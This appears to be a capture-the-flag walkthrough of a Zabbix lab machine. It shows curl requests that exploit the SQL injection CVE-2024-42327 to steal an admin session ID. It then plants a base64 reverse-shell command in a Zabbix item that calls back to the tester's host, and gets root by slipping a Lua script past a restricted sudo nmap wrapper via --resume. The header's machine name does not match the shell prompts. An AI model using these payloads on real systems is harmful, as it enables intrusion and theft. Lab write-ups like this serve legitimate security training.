Machine Info

Machine info card

Name Sightless
OS Linux
Difficulty Medium
Release Date 2024-12-05
Completed 2025-03-09

In addition to the machine’s IP address, the credentials matthew:96qzn0h2e1k3 are provided.

Reconnaissance

nmap

nmap finds 4 open ports; 22/tcp (SSH), 80/tcp (HTTP), 10050/tcp (tcpwrapped), and 10051 (ssl/zabbix-trapper).

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 8000 -sCV 10.10.11.50
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 11:54 EST
Warning: 10.10.11.50 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.50
Host is up (0.14s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.54 seconds

Port 22 (SSH) is running OpenSSH. Based on the version detected by nmap, the host is likely running Ubuntu 22.04 Jammy.

Port 80 (HTTP) is running Apache httpd 2.4.52. The web server, in conjunction with port 10051 (ssl/zabbix-trapper), suggests this machine is likely running Zabbix, an open-source network monitoring solution.

Apache httpd - Port 80

Navigating to http://10.10.11.50 in the browser redirects to http://10.10.11.50/zabbix/. This page is the Zabbix login screen.

Zabbix login

For this machine, the Zabbix credentials are provided in the Machine Information section. After successfully logging in, the Zabbix dashboard is displayed. Although the dashboard does not have any data to display, it does provide version information for this Zabbix instance. Additionally, the dashboard indicates that a new update is available, meaning that Zabbix is not up to date. The system appears to be running Zabbix 7.0.0.

Zabbix dashboard

Vulnerability Analysis

Zabbix

Zabbix provides a helpful tool for searching security advisories and known vulnerabilities in Zabbix products. After filtering the list to show only vulnerabilities in version 7.0, and looking through the list for those that specifically affect version 7.0.0, there appear to be several critical and high severity vulnerabilities that may allow for privilege escalation. The most notable is CVE-2024-42327.

CVE-2024-42327

CVE-2024-42327 is a SQL injection vulnerability in the user.get API. The Zabbix issue tracking this vulnerability reports that it is exploitable by non-admin users with the default User role, or any other role with API access. Additionally, the issue documents the class name (CUser) and function (addRelatedObjects) where the vulnerability exists. Armed with this knowledge, locating the exact commit where the issue was fixed is trivial.

The get function begins by checking the current user’s permissions. Specifically, if the user is a super admin or if the editable parameter was provided.

// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
	if (!$options['editable']) {
		$sqlParts['from']['users_groups'] = 'users_groups ug';
		$sqlParts['where']['uug'] = 'u.userid=ug.userid';
		$sqlParts['where'][] = 'ug.usrgrpid IN ('.
			' SELECT uug.usrgrpid'.
			' FROM users_groups uug'.
			' WHERE uug.userid='.self::$userData['userid'].
		')';
	}
	else {
		$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
	}
}

After constructing the primary query, and fetching basic user information, the addRelatedObjects function is called to add additional details to the result that will be returned.

if ($result) {
	$result = $this->addRelatedObjects($options, $result);
}

When the addRelatedObjects function processes the selectRole parameter, a query is constructed using the unsanitized user input. This can be seen in the DBselect call.

// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
	if ($options['selectRole'] === API_OUTPUT_EXTEND) {
		$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
	}

	$db_roles = DBselect(
		'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
		' FROM users u,role r'.
		' WHERE u.roleid=r.roleid'.
		' AND '.dbConditionInt('u.userid', $userIds)
	);

	foreach ($result as $userid => $user) {
		$result[$userid]['role'] = [];
	}

	while ($db_role = DBfetch($db_roles)) {
		$userid = $db_role['userid'];
		unset($db_role['userid']);

		$result[$userid]['role'] = $db_role;
	}
}

Given that the current user, matthew, does not appear to be a super admin, providing a truthy value for the editable parameter should satisfy the permission check, allowing some information to be displayed.

Exploiting this vulnerability will require the use of the Zabbix API. Use of the API requires an authorization token that can be obtained by making an authentication request.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'

The token received from the above request can then be included in subsequent API requests via the Authorization header.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 646253f3e9754b624ce8e2e6e5257e70' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"id":1}'

The request above is taken from the user.get API documentation, and should return a complete list of users. The response to this request, however, does not contain any results.

{"jsonrpc":"2.0","result":[],"id":1}

The response above is seemingly due to the permission check performed by the API endpoint. Modifying the request to include the editable parameter, returns details of the current user.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 646253f3e9754b624ce8e2e6e5257e70' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1},"id":1}'

The response reveals the current userid is “3”, and the roleid of this user is “1”.

{
    "jsonrpc": "2.0",
    "result": [
        {
            "userid": "3",
            "username": "matthew",
            "name": "Matthew",
            "surname": "Smith",
            "url": "",
            "autologin": "1",
            "autologout": "0",
            "lang": "default",
            "refresh": "30s",
            "theme": "default",
            "attempt_failed": "0",
            "attempt_ip": "",
            "attempt_clock": "0",
            "rows_per_page": "50",
            "timezone": "default",
            "roleid": "1",
            "userdirectoryid": "0",
            "ts_provisioned": "0"
        }
    ],
    "id": 1
}

The PHP snippet below is used to construct the query that obtains the roles of the requested users. This code will take each value provided via the selectRole parameter and join them with the string “,r.”. r. is used to reference the role table. Therefore, the provided values must be columns in the role table.

$db_roles = DBselect(
	'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
	' FROM users u,role r'.
	' WHERE u.roleid=r.roleid'.
	' AND '.dbConditionInt('u.userid', $userIds)
);

Based on the addRelatedObjects function, providing the value extend to the selectRole parameter is equivalent to providing ['roleid', 'name', 'type', 'readonly']. By providing only roleid and name, the expected response should contain only roleid and name.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 646253f3e9754b624ce8e2e6e5257e70' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name"]},"id":1}'

As made clear by the response, the values provided to the selectRole parameter are being processed by the addRelatedObjects function, and included in the constructed query.

{
    "jsonrpc": "2.0",
    "result": [
        {
            "userid": "3",
            "username": "matthew",
            "name": "Matthew",
            "surname": "Smith",
            "url": "",
            "autologin": "1",
            "autologout": "0",
            "lang": "default",
            "refresh": "30s",
            "theme": "default",
            "attempt_failed": "0",
            "attempt_ip": "",
            "attempt_clock": "0",
            "rows_per_page": "50",
            "timezone": "default",
            "roleid": "1",
            "userdirectoryid": "0",
            "ts_provisioned": "0",
            "role": {
                "roleid": "1",
                "name": "User role"
            }
        }
    ],
    "id": 1
}

Exploitation

CVE-2024-42327

As previously covered in the Vulnerability Analysis section, unsanitized user input is directly used to construct the roles query.

Knowing what the query should look like makes it trivial to craft a new query. The request below should include all roles in the response, rather than just the current user’s role.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer bc905010e3ff28f8824bab5c8ea31ce2' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'

The injection was successful! The response reveals three roles - User role, Super admin role, and Guest role.

{
    "jsonrpc": "2.0",
    "result": [
        {
            ...
            "role": {
                "roleid": "1",
                "name": "User role"
            }
        },
        {
            "role": {
                "roleid": "3",
                "name": "Super admin role"
            }
        },
        {
            "role": {
                "roleid": "4",
                "name": "Guest role"
            }
        }
    ],
    "id": 1
}

Building off the previous query, additional columns such as userid and username may be selected. The addRelatedObjects function specifically removes the userid field using unset($db_role['userid']);. To work around this, an alias can be used to rename the field in the results, causing it to not be removed.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 117f70c9cce159b315165c263bc7f50f' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name,u.userid AS uid,u.username FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'

This reveals two additional users. The Admin user, which is assigned the Super admin role, and the guest user, which is assigned the Guest role.

{
    "jsonrpc": "2.0",
    "result": [
        {
            ...
            "role": {
                "roleid": "1",
                "name": "User role",
                "uid": "3",
                "username": "matthew"
            }
        },
        {
            "role": {
                "roleid": "3",
                "name": "Super admin role",
                "uid": "1",
                "username": "Admin"
            }
        },
        {
            "role": {
                "roleid": "4",
                "name": "Guest role",
                "uid": "2",
                "username": "guest"
            }
        }
    ],
    "id": 1
}

This information is helpful, but there are likely other tables that contain useful information. To obtain a list of tables that exist in the database, a subquery can be used. In order for the server to properly parse the the results of the subquery, and include them in the JSON response, the subquery must return a single value. This can be achieved using the GROUP_CONCAT function to concatenate a field from multiple rows into a single string.

The request below should include a list of all table names in the response. PortSwigger provides a SQL injection cheat sheet that is helpful for crafting these queries.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 117f70c9cce159b315165c263bc7f50f' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) AS table_names FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'
ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
...
actions
interface_snmp
operations

After carefully scanning through the complete list of table names, the sessions table appears to be the most interesting. The schema for this table can be found in schema.tmpl.

TABLE|sessions|sessionid|0
FIELD		|sessionid	|t_varchar(32)	|''	|NOT NULL	|0
FIELD		|userid		|t_id		|	|NOT NULL	|0			|1|users
FIELD		|lastaccess	|t_integer	|'0'	|NOT NULL	|0
FIELD		|status		|t_integer	|'0'	|NOT NULL	|0
FIELD		|secret		|t_varchar(32)	|''	|NOT NULL	|0
INDEX		|1		|userid,status,lastaccess

The sessions table appears to associate a 32 character string, sessionid, with a particular userid. The authorization token used to make API requests as matthew is also a 32 character string.

Having already obtained the userid of the Admin user, the following request should return the sessionid associated with the user.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 117f70c9cce159b315165c263bc7f50f' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend","editable":1,"selectRole":["roleid","name, (SELECT sessionid FROM sessions WHERE userid=1) AS sessionid FROM users u,role r WHERE u.roleid=r.roleid;--"]},"id":1}'

As seen in the response below, a sessionid of 62f058e5f53c6b71bace780e62923a67 was returned.

{
    "jsonrpc": "2.0",
    "result": [
        {
            ...
            "role": {
                "roleid": "1",
                "name": "User role",
                "sessionid": "62f058e5f53c6b71bace780e62923a67"
            }
        },
        {
            "role": {
                "roleid": "3",
                "name": "Super admin role",
                "sessionid": "62f058e5f53c6b71bace780e62923a67"
            }
        },
        {
            "role": {
                "roleid": "4",
                "name": "Guest role",
                "sessionid": "62f058e5f53c6b71bace780e62923a67"
            }
        }
    ],
    "id": 1
}

To verify that the Admin sessionid works, a legitimate API request can be made. The server does not return any authorization errors, and returns the expected data. This means that other API requests can now be made as the Admin user.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 62f058e5f53c6b71bace780e62923a67' \
    --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"id":1}'

Items are one of the core concepts of Zabbix. Items are used to receive a particular piece of data from a host. Items must be configured with a key, which defines the specific metric to be collected from a host. For example, system.hw.cpu may be used to collect CPU information, while proc.mem may be used to collect memory usage of a process.

One particularly interesting key is system.run. This allows a specified command to be run on a host. In theory, this could be used to obtain a reverse shell on the host. The payload might look something like system.run[echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzcvOTAwMSAwPiYx | base64 -d | bash]. The item.create API documentation details how to create a new item using the API.

Before a new item can be created using the item.create API, the hostid and interfaceid must be identified. The request below, using the host.get API, should return a list of all hosts.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 1e2d8b72032fb00449c347988fd0d9ac' \
    --data '{"jsonrpc":"2.0","method":"host.get","params":{},"id":1}'

A single host with ID 10084 exists.

{
    "jsonrpc": "2.0",
    "result": [
        {
            "hostid": "10084",
            "proxyid": "0",
            "host": "Zabbix server",
            ...
            "name": "Zabbix server",
            ...
        }
    ],
    "id": 1
}

Putting these pieces together, the item.create API request below should send a reverse shell back to a nc listener.

curl --request POST \
    --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
    --header 'Content-Type: application/json-rpc' \
    --header 'Authorization: Bearer 1e2d8b72032fb00449c347988fd0d9ac' \
    --data '{"jsonrpc":"2.0","method":"item.create","params":{"name":"B","key_":"system.run[echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzcvOTAwMSAwPiYx | base64 -d | bash]","hostid":"10084","type":0,"value_type":4,"interfaceid":"1","delay":"30s"},"id":1}'

The server returns a new itemid indicating that the item was successfully created.

{"jsonrpc":"2.0","result":{"itemids":["47183"]},"id":1}

Additionally, a new reverse shell was successfully received. The user is zabbix.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.137] from (UNKNOWN) [10.10.11.50] 55500
bash: cannot set terminal process group (6443): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)

Before proceeding any further, the reverse shell is upgraded to provide a more interactive experience.

Listing the contents of /home reveals a directory with the name matthew. Listing the content of /home/matthew reveals the user flag, user.txt.

zabbix@unrested:/$ ls /home
matthew
zabbix@unrested:/$ ls /home/matthew
user.txt
zabbix@unrested:/$ cat /home/matthew/user.txt
262e6aa3************************

Privilege Escalation

root

As zabbix, running sudo -l shows that /usr/bin/nmap may be run as a privileged user.

zabbix@unrested:/$ sudo -l
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *

Looking to GTFOBins for a potential privilege escalation vector, there appear to be several techniques.

The first approach uses the --script option to spawn a new shell using a Lua script that calls os.execute. Unfortunately, this results in an error message indicating script mode is disabled.

zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/bash")' > $TF
zabbix@unrested:/$ sudo nmap --script=$TF
Script mode is disabled for security reasons.

The second approach documented by GTFOBins uses the --interactive option, which starts nmap in interactive mode. This mode allows shell commands to be run, effectively allowing a new privileged shell to be started by running !sh. GTFOBins also notes that this option is only available in versions 2.02 to 5.21.

After checking the installed version of nmap, this approach does not appear to be viable, as version 7.80 does not include the --interactive option. Attempting to use the --interactive option displays a message that interactive mode is disabled.

zabbix@unrested:/$ nmap --version
Nmap version 7.80 ( https://nmap.org )
zabbix@unrested:/$ sudo nmap --interactive
Interactive mode is disabled for security reasons.

Looking more closely at /usr/bin/nmap reveals that it is not actually the nmap binary, but a bash script that restricts what options may be used. In addition to the --script and --interactive options, -oG and -iL are also disallowed.

#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"

After reviewing the nmap man page, the --resume option seems like it may allow nmap to be executed with the desired options, without directly passing them as arguments. Instead, the arguments will be parsed from an existing nmap output file, effectively bypassing the restrictions created by the /usr/bin/nmap script.

To determine what a properly formatted output file looks like, nmap can be run with the -oN option. The first line of the output file, below, contains the full command, including arguments used for the scan.

# Nmap 7.80 scan initiated Tue Mar 11 02:25:00 2025 as: /usr/bin/nmap.original -oN /tmp/tmp.EcOSvbmoTx 127.0.0.1

Using the same approach outlined by GTFOBins, a script can be created that will spawn a new bash shell.

zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ echo 'os.execute("/bin/bash")' > $TF
zabbix@unrested:/$ echo $TF
/tmp/tmp.S1dHYnoVhV

With the script created, the output file can then be updated to call that script.

# Nmap 7.80 scan initiated Tue Mar 11 02:25:00 2025 as: /usr/bin/nmap.original --script /tmp/tmp.S1dHYnoVhV 127.0.0.1

Finally, calling sudo nmap --resume /tmp/tmp.EcOSvbmoTx will parse the output file, re-executing nmap with the new arguments. This will result in a new root shell being spawned. Listing the contents of /root reveals the root flag, root.txt.

root@unrested:/# ls /root
root.txt
root@unrested:/# cat /root/root.txt
2111a8ca************************